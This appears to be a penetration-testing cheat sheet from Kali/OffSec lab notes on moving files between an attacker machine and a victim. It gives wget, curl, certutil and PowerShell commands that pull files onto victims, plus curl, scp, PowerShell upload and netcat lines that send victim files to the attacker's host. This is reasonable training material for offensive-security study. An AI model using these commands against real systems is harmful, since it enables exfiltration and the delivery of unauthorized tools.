File Transfer

Attacker to Victim

On Attacker Machine

python3 -m http.server
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/offsec/webServerFiles

On Victim Machine

Linux Machine

wget http://<Kali IP Address>:<Kali Port>/<Target File>
wget -r http://<Kali IP Address>:<Kali Port>/<Target Dir>
curl http://<Kali IP Address>:<Kali Port>/<Target File> -O
scp -P <SSH Port> <File on Kali> <Username>@<Target IP Address>:/path/to/<Target File>

Windows Machine

certutil -urlcache -split -f 'http://<Kali IP Address>:<Kali Port>/<File on Kali>' <Target File>
powershell.exe -c "(New-Object System.Net.WebClient).DownloadFile('http://<Kali IP Address>:<Kali Port>/<File on Kali>', '<Target File>')"
iwr -uri http://<Kali IP Address>:<Kali Port>/<File on Kali> -Outfile <Target File>

Victim to Attacker

On Kali Machine

git clone https:\\github.com/Tallguy297/SimpleHTTPServerWithUpload
cd SimpleHTTPServerWithUpload
python3 SimpleHTTPServerWithUpload.py 8080
sudo systemctl start ssh
sudo systemctl enable ssh
sudo systemctl status ssh

On Victim Machine

Linux Machine

curl -F 'file=@<Target File>' http://<Kali IP Address>:8080/
scp <Target File> kali@<Kali IP Address>:/home/kali/offsec/path/to/<Target File>

Windows Machine

powershell.exe -c "(New-Object System.Net.WebClient).UploadFile('http://<Kali IP Address>:8080/', '<Target File>')"

Netcat

On Source Machine

nc -nlvp 4444 > <Target File>

On Destination Machine

nc -nlvp 4444 < <Target File>

Last updated